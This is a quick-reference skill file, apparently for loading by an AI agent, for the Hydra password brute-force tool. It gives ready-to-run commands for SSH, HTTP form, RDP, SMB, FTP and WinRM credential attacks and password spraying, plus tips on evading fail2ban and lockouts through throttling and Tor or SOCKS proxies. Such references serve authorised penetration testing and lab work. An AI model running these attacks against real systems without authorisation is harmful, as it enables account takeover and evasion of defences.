hydra

name: hydra description: "Auth/lab ref: Online brute-force and password spraying tool supporting 50+ protocols (SSH, HTTP, FTP, SMB, RDP, WinRM, and more)." license: AGPL-3.0 compatibility: "Linux, Windows, macOS." metadata: author: AeonDave version: "1.1"

Fast, parallelized online password cracker for 50+ protocols.

Quick Start

# SSH brute-force
hydra -l admin -P passwords.txt ssh://192.168.1.10

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Multiple users + passwords
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

Core Flags

Flag	Description
`-l <user>`	Single username
`-L <file>`	Username list
`-p <pass>`	Single password
`-P <file>`	Password list
`-u`	Loop users before passwords (default: passwords first)
`-C <file>`	Colon-delimited user:pass list
`-t <n>`	Threads per host (default 16)
`-T <n>`	Total parallel targets
`-s <port>`	Custom port
`-S`	Use SSL/TLS
`-o <file>`	Output found credentials
`-f`	Stop after first valid pair (per host)
`-F`	Stop after first valid pair (all hosts)
`-v`	Verbose
`-V`	Very verbose (show each attempt)
`-d`	Debug
`-R`	Restore previous session
`-I`	Ignore existing restore file (start fresh)
`-e nsr`	Try: n=empty pass, s=user as pass, r=reversed user
`-w <sec>`	Wait time for server response (default 32s)
`-W <sec>`	Wait between connect attempts per thread (rate throttle)
`-x proto`	SOCKS5/HTTP proxy: `-x socks5://127.0.0.1:1080`

Supported Modules (Common)

ssh, ftp, http-get, http-post-form, https-post-form, smb, rdp, winrm, imap, pop3, smtp, mysql, postgres, mssql, telnet, vnc, ldap2, redis

Common Workflows

# SSH with user list
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4

# HTTP form login
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
  "/admin/login.php:username=^USER^&password=^PASS^:Wrong password"

# RDP brute-force
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# FTP
hydra -l ftp -P passwords.txt ftp://10.10.10.10

# SMB password spray (single password, many users)
hydra -L users.txt -p "Summer2024!" smb://10.10.10.10

# WinRM
hydra -l administrator -P passwords.txt winrm://10.10.10.10

# Rate-limited (avoid lockouts)
hydra -l admin -P passwords.txt ssh://10.10.10.10 -t 1 -W 3

Proxy / Evasion

# Route through SOCKS5 (Tor or pivoting)
hydra -l admin -P passwords.txt -x socks5://127.0.0.1:1080 ssh://10.10.10.10

# HTTP proxy
hydra -l admin -P passwords.txt -x http://127.0.0.1:8080 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"

Tips

Use -e nsr for quick wins (null, same as user, reversed)
Set -t 1-4 for protocols with lockout policies (RDP, SMB, WinRM)
-W 3 adds 3s between connect attempts per thread — avoids fail2ban bans
-w controls response timeout; increase for slow targets (e.g., -w 10)
For HTTP forms: identify failure_message from the response body
Use -I to ignore leftover restore files from previous interrupted runs

Resources

File	When to load
`references/protocols.md`	Module syntax for each protocol, POST form detection, HTTPS handling